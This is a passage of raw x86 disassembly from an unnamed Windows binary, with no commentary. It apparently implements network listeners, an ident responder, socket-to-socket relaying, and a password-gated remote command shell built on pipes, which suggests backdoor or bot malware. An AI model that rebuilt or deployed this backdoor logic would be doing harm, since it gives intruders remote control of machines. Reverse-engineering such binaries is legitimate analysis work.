		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CB6A4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CB66C
		pop	esi


loc_4101B9:				; CODE XREF: sub_4100DC+6Bj
		push	ebx
		call	dword_4CB6EC
		call	dword_4CB5AC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F9
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_4101F9:				; CODE XREF: sub_4100DC+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DC	endp

; ---------------------------------------------------------------------------


loc_4101FD:				; DATA XREF: ___:00401666o
					; sub_401ACD+436Ao
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CB654
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB6D4
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410361
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43E59C[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CB680
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		push	5
		push	ebx
		call	dword_4CB67C
		cmp	eax, 0FFFFFFFFh
		jz	loc_410361
		mov	[ebp-0Ch], edi
		mov	edi, 200h


loc_410288:				; CODE XREF: ___:004102E7j
					; ___:0041034Aj ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB6E8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035C
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_43468C
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB66C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410288
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F80
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08E
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410288
		mov	dword ptr [ebp-8], 1
		jmp	loc_410288
; ---------------------------------------------------------------------------


loc_41035C:				; CODE XREF: ___:0041029Dj
		cmp	[ebp-8], esi
		jnz	short loc_410388


loc_410361:				; CODE XREF: ___:00410244j
					; ___:00410268j ...
		call	dword_4CB5E8
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_434648
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AD
		add	esp, 10h


loc_410388:				; CODE XREF: ___:0041035Fj
		push	ebx
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	esi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_4103AB:				; DATA XREF: sub_401ACD+613Co
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410517
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43E59C[ecx], eax
		call	dword_4CB564
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB680
		test	eax, eax
		jnz	loc_410517
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CB67C
		test	eax, eax
		jnz	loc_410517


loc_41045B:				; CODE XREF: ___:00410471j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6E8
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045B
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_4346F4
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F7
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43E594[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053C
		push	esi
		push	esi
; ---------------------------------------------------------------------------
		dw 25E8h
		dd 900226FBh, 69C44D8Bh, 234C9h, 89C63B00h, 43E5A481h
		dd 39137400h, 850FD075h, 0FFFFFF63h, 0E890326Ah, 22609C6h
		dd 0E890EDEBh, 227035Fh, 46B86850h, 0EE80043h, 5900004Dh
; ---------------------------------------------------------------------------
		pop	ecx
		jmp	short loc_41051A
; ---------------------------------------------------------------------------


loc_410517:				; CODE XREF: ___:0041040Ej
					; ___:00410442j ...
		mov	edi, [ebp+8]


loc_41051A:				; CODE XREF: ___:00410515j
		push	edi
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-40h]
		call	sub_40B413
		pop	ecx
		push	esi
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi


loc_41053C:				; DATA XREF: ___:004104CFo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB6D4
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F2
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CB654
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB694
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CC
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB6D8
		jmp	short loc_4105DA
; ---------------------------------------------------------------------------


loc_4105CC:				; CODE XREF: ___:004105BBj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CB60C


loc_4105DA:				; CODE XREF: ___:004105CAj
		cmp	eax, edi
		jz	loc_4106F2
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F2
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_43477C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F7
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43E59C[ebx]
		mov	dword_43E594[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43E5A0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410723
		push	edi
		push	edi
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4106DF


loc_41068C:				; CODE XREF: ___:00410699j
		cmp	[ebp-20h], edi
		jnz	short loc_41069B
		push	32h
		nop
		call	near ptr 2670EC6h
		jmp	short loc_41068C
; ---------------------------------------------------------------------------


loc_41069B:				; CODE XREF: ___:0041068Fj
		mov	ebx, 1000h


loc_4106A0:				; CODE XREF: ___:004106DBj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		cmp	eax, edi
		jle	short loc_4106F2
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4106A0
		jmp	short loc_4106F2
; ---------------------------------------------------------------------------


loc_4106DF:				; CODE XREF: ___:0041068Aj
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_43473C
		call	sub_415221
		pop	ecx
		pop	ecx


loc_4106F2:				; CODE XREF: ___:00410580j
					; ___:004105DCj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43E59C[eax]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	dword_4CB6EC
		push	dword ptr [ebp-4]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_410723:				; DATA XREF: ___:0041066Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h


loc_41075A:				; CODE XREF: ___:0041079Fj
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43E5A0[esi]
		call	dword_4CB66C
		test	eax, eax
		jle	short loc_4107A1
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43E59C[esi]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41075A


loc_4107A1:				; CODE XREF: ___:00410784j
		push	dword_43E5A0[esi]
		call	dword_4CB6EC
		push	dword ptr [ebp-14h]
		call	sub_40B413
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 42h, 0F8h
; ---------------------------------------------------------------------------
		sub	al, 2
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43E59C[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CB63C
		test	eax, eax
		jnz	short loc_410844
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		nop
		call	near ptr 26E0000h


loc_410844:				; CODE XREF: ___:0041082Aj
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CB66C
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C5
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CB5A8
		test	eax, eax
		jz	short loc_4108BD
		call	dword_4CB5E8
		push	eax
		push	offset unk_434854
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26E0000h


loc_4108BD:				; CODE XREF: ___:00410898j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, edi
		jnz	short loc_4108E7
		push	dword ptr [ebp-18h]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F5
; ---------------------------------------------------------------------------


loc_4108E7:				; CODE XREF: ___:004108CDj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0


loc_4108F5:				; CODE XREF: ___:004108E5j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D808
		push	dword ptr [esi]
		call	dword_4CB6A4
		cmp	dword_4CE3B8, edi
		jnz	short loc_410957
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1F
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410957
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CB6A4
		push	dword ptr [esi]
		call	dword_4CB6EC
		push	dword ptr [ebp+8]
		call	sub_40B413
		pop	ecx
		push	edi
		call	near ptr 26E0000h
		nop


loc_410957:				; CODE XREF: ___:0041090Cj
					; ___:0041092Dj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434818
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_410CD6
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099E
		call	near ptr 2680867h
		nop
		push	eax
		push	offset unk_4347EC
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26E0000h


loc_41099E:				; CODE XREF: ___:00410979j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_4347C0
		call	sub_415221
		push	dword ptr [ebp+8]
		call	sub_40B413
		add	esp, 10h
		push	edi
		call	near ptr 26E0000h
		nop

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C5	proc near		; CODE XREF: ___:0041085Ap
					; ___:00410867p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jnz	short loc_410A15
		mov	esi, [ebp+arg_4]


loc_4109E3:				; CODE XREF: sub_4109C5+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A0A
		test	al, al
		jz	short loc_410A19
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB66C
		cmp	eax, 1
		jz	short loc_4109E3
		jmp	short loc_410A15
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109C5+27j
		push	offset unk_434880
		call	sub_415221
		pop	ecx


loc_410A15:				; CODE XREF: sub_4109C5+19j
					; sub_4109C5+43j
		xor	eax, eax
		jmp	short loc_410A1C
; ---------------------------------------------------------------------------


loc_410A19:				; CODE XREF: sub_4109C5+2Bj
		push	1
		pop	eax


loc_410A1C:				; CODE XREF: sub_4109C5+52j
		pop	esi
		leave
		retn
sub_4109C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1F	proc near		; CODE XREF: ___:00410923p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A4A
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4348AC
		call	sub_415221
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_410A4A:				; CODE XREF: sub_410A1F+11j
		push	1
		pop	eax
		retn
sub_410A1F	endp

; ---------------------------------------------------------------------------
word_410A4E	dw 8B55h		; DATA XREF: sub_401ACD+23D5o
		dd 0A4EC81ECh, 8B000005h, 57560845h, 8B59786Ah,	0ECBD8DF0h
		dd 6AFFFFFDh, 5FA5F301h, 1DCB889h, 858D0000h, 0FFFFFA5Ch
		dd 2026850h, 15FF0000h,	4CB5C4h, 0C63BF633h, 68501D74h
		dd 434A1Ch, 478CE8h, 0B475FF00h, 0FFA976E8h, 0CC483FFh
		dd 59E89057h, 57022CF5h, 410CCC68h, 60E89000h, 85023500h
		dd 0E82975C0h, 226FDABh, 0D8685090h, 0E8004349h, 4759h
		dd 15FF5959h, 4CB5ACh, 0E8B475FFh, 0FFFFA93Bh, 21E85759h
		dd 90022CF5h, 8D106A53h, 5056E045h, 0AAA3E8h, 0CC48300h
		dd 0E045C766h, 75FF0002h, 5415FFB0h, 6A004CB6h,	26A5706h
		dd 0E2458966h, 0FFE47589h, 4CB6D415h, 83D88B00h, 840FFFFBh
		dd 13Bh, 6AB4458Bh, 34C06910h, 89000002h, 43E59C98h, 0E0458D00h
		dd 15FF5350h, 4CB680h, 850FC085h, 117h,	0FFFFFF68h, 15FF537Fh
		dd 4CB67Ch, 850FC085h, 103h, 43499C68h,	0F045C700h, 0Ch
		dd 89F47589h, 42E8F875h, 59000046h, 8D087D89h, 45C7FC45h
		dd 10FCh, 458D5000h, 0FF5350CCh, 4CB6E815h, 83F88B00h
		dd 840FFFFFh, 0CAh, 8D0875FFh, 6A500845h, 0FFFF6808h, 0FF570000h
		dd 4CB63415h, 0FFF88300h, 0B70FC574h, 75FFCE45h, 0C87589B4h
		dd 0D075FF50h, 0B6E015FFh, 8D50004Ch, 0FFFBEC85h, 495868FFh
		dd 0E8500043h, 0ACB6h, 0FBEC858Dh, 0E850FFFFh, 45D1h, 0EC858D57h
		dd 6AFFFFFBh, 0CE85009h, 89FFFFA5h, 0C069B845h,	234h, 83B44D8Bh
		dd 888924C4h, 43E594h, 50DC458Dh, 0FDEC858Dh, 5056FFFFh
		dd 4107C068h, 0F0458D00h, 0E8905056h, 226F3E4h,	69B84D8Bh
		dd 234C9h, 89C63B00h, 43E5A481h, 39137400h, 850FC875h
		dd 0FFFFFF37h, 0E890326Ah, 2260286h, 0E890EDEBh, 226FC1Fh
		dd 491C6850h, 0CEE80043h, 59000045h, 8B03EB59h,	15FF087Dh
		dd 4CB5E8h, 0EC858D50h,	68FFFFFBh, 4348E4h, 0AC14E850h
		dd 0C4830000h, 0C475390Ch, 8D562075h, 0FFFBEC85h, 0C075FFFFh
		dd 0F0858D50h, 50FFFFFDh, 0FDECB5FFh, 0DCE8FFFFh, 83FFFF8Dh
		dd 858D14C4h, 0FFFFFBECh, 4507E850h, 57590000h,	0B6EC15FFh
		dd 0FF53004Ch, 4CB6EC15h, 0AC15FF00h, 0FF004CB5h, 50E8B475h
		dd 59FFFFA7h, 35E89056h, 5B022CF3h, 4439C033h, 940F0424h
		db 0C0h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD6	proc near		; CODE XREF: ___:0041096Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E27
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43E59C[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF9
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D41
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7B
; ---------------------------------------------------------------------------


loc_410D41:				; CODE XREF: sub_410CD6+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AB
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D82
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_434A7C
		call	sub_415221
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		call	near ptr 269082Bh
		nop


loc_410D7B:				; CODE XREF: sub_410CD6+69j
		xor	eax, eax
		jmp	loc_410E22
; ---------------------------------------------------------------------------


loc_410D82:				; CODE XREF: sub_410CD6+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2770000h
		sub	eax, ebx
		jz	short loc_410DDC
		dec	eax
		jz	short loc_410DD6
		dec	eax
		jz	short loc_410DC2
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_434A48
		call	sub_415221
		pop	ecx
		pop	ecx
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DC2:				; CODE XREF: sub_410CD6+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF1
; ---------------------------------------------------------------------------


loc_410DD6:				; CODE XREF: sub_410CD6+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DE0
; ---------------------------------------------------------------------------


loc_410DDC:				; CODE XREF: sub_410CD6+CFj
		push	ebx
		push	dword ptr [esi+14h]


loc_410DE0:				; CODE XREF: sub_410CD6+104j
		call	near ptr 269082Bh
		nop
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 2700BEAh


loc_410DF1:				; CODE XREF: sub_410CD6+EAj
					; sub_410CD6+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB6EC
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax


loc_410E22:				; CODE XREF: sub_410CD6+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E27	proc near		; CODE XREF: sub_410CD6+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F11
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E8A
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_434B2C
		jmp	short loc_410EAA
; ---------------------------------------------------------------------------


loc_410E8A:				; CODE XREF: sub_410E27+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB2
		nop
		call	near ptr 2680867h
		push	eax
		push	offset unk_434AEC


loc_410EAA:				; CODE XREF: sub_410E27+61j
		call	sub_415221
		pop	ecx
		jmp	short loc_410EE0
; ---------------------------------------------------------------------------


loc_410EB2:				; CODE XREF: sub_410E27+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F20
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F15
		push	offset unk_434AC4
		call	sub_4151AD


loc_410EE0:				; CODE XREF: sub_410E27+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEC
		push	[ebp+var_4]
		call	edi


loc_410EEC:				; CODE XREF: sub_410E27+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF7
		push	[ebp+var_8]
		call	edi


loc_410EF7:				; CODE XREF: sub_410E27+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410F00
		push	eax
		call	edi


loc_410F00:				; CODE XREF: sub_410E27+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F0A
		push	eax
		call	edi


loc_410F0A:				; CODE XREF: sub_410E27+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_410F11:				; CODE XREF: sub_410E27+1Dj
		xor	eax, eax
		jmp	short loc_410F1B
; ---------------------------------------------------------------------------


loc_410F15:				; CODE XREF: sub_410E27+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi


loc_410F1B:				; CODE XREF: sub_410E27+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F20	proc near		; CODE XREF: sub_410E27+94p

var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		push	44h
		pop	edi
		xor	esi, esi
